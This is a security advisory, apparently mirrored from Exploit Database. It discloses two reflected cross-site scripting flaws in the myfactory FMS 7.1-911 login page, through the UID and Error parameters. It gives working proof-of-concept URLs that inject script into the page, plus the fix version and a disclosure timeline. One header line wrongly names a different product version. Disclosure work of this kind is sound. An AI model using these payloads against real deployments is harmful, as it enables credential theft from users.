myfactory FMS 7.1-911 – ‘Multiple’ Reflected Cross-Site Scripting (XSS)

• Exploit Database
• 14 阅读

• 作者： RedTeam Pentesting GmbH
  日期： 2021-10-19
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50428/

• # Exploit Title: myfactory FMS 7.1-911 - 'Multiple' Reflected Cross-Site Scripting (XSS)
  # Exploit Author: RedTeam Pentesting GmbH
  # Vendor Homepage: https://www.myfactory.com/
  # Version: Enfold < 4.8.4 (all versions)
  # Tested on: Ubuntu
  # CVE : CVE-2021-42565, CVE-2021-42566
  # Reference: https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms
  
  
  During a penetration test, a reflected cross-site scripting
  vulnerability (XSS) was found in the myfactory.FMS login form. If a user
  opens an attacker-prepared link to the application, attackers can run
  arbitrary JavaScript code in the user's browser.
  
  Introduction
  ============
  
  "With myfactory, you get a modern accounting application for your business. It covers every functionality necessary for an accounting system."
  (translated from German from the vendor's homepage)
  
  More Details
  ============
  
  The myfactory.FMS web application[0] allows users to login with a username and password. If the password is wrong, the application redirects to a URL similar to the following:
  
  http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=RedTeam
  
  The application then opens a dialogue telling the user that their
  username or password are wrong and uses the value of the parameter UID
  to prefill the login form resulting in the following source code:
  
  ------------------------------------------------------------------------
  <td>
  <input NAME="txtUID" VALUE="RedTeam"
   onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
  </td>
  ------------------------------------------------------------------------
  
  The UID parameter gets reflected without applying any encoding to it.
  
  A similar problem arises when the login leads to an error. This introduces a new parameter named 'Error':
  
  http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=RedTeam_Error
  
  The value of the Error parameter gets appended without encoding in the
  javascript function mOnLoad resulting in the following code:
  
  ------------------------------------------------------------------------
  function mOnLoad(
  {
  var sParams;
  alert('Das System konnte Sie nicht anmelden.\n RedTeam_Error');
  [...]
  ------------------------------------------------------------------------
  
  
  Proof of Concept
  ================
  
  The XSS in the UID parameter can be triggered with the following URL:
  
  http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID="><script>alert("RedTeam+Pentesting")</script><span+"
  
  This will lead to the following HTML returned by the server:
  
  ------------------------------------------------------------------------
  <td>
  <input NAME="txtUID" VALUE=""><script>alert("RedTeam Pentesting")</script><span ""
   onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
  </td>
  ------------------------------------------------------------------------
  
  To demonstrate the XSS via the Error parameter, the following URL can be
  used:
  
  http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=');alert("RedTeam+Pentesting");//
  
  This will lead to the following JavaScript embedded in the HTML website
  returned by the server:
  
  ------------------------------------------------------------------------
  function mOnLoad(
  {
  var sParams;
  alert('Das System konnte Sie nicht anmelden.\n ');alert("RedTeam+Pentesting");//');
  [...]
  ------------------------------------------------------------------------
  
  Workaround
  ==========
  
  None
  
  
  Fix
  ===
  
  Install Version 7.1-912 or later.
  
  
  Security Risk
  =============
  
  This security vulnerability allows to execute arbitrary JavaScript code in
  users' browsers if they access URLs prepared by attackers. This provides many
  different possibilities for further attacks against these users. The
  vulnerability could for example be exploited to display a fake login to obtain
  credentials and consequently access a company's accounting information. Since
  attackers might be able to get access to sensitive financial data, but users
  have to actively open an attacker-defined link, this vulnerability is estimated
  to pose a medium risk.
  
  
  Timeline
  ========
  
  2021-05-07 Vulnerability identified
  2021-05-27 Customer approved disclosure to vendor
  2021-06-07 Vendor notified, support confirms vulnerability and
   implements fix. Support says vendor does not agree to a
   public advisory.
  2021-06-10 Vendor contacts RedTeam Pentesting, reiterates that
   no advisory should be released. Vendor acknowledges
   public release after 90 days.
  2021-10-04 Customer confirms update to fixed version
  2021-10-13 Advisory released
  2021-10-14 CVE-ID requested
  2021-10-18 CVE-ID assigned
  
  
  References
  ==========
  [0] https://www.myfactory.com/myfactoryfms.aspx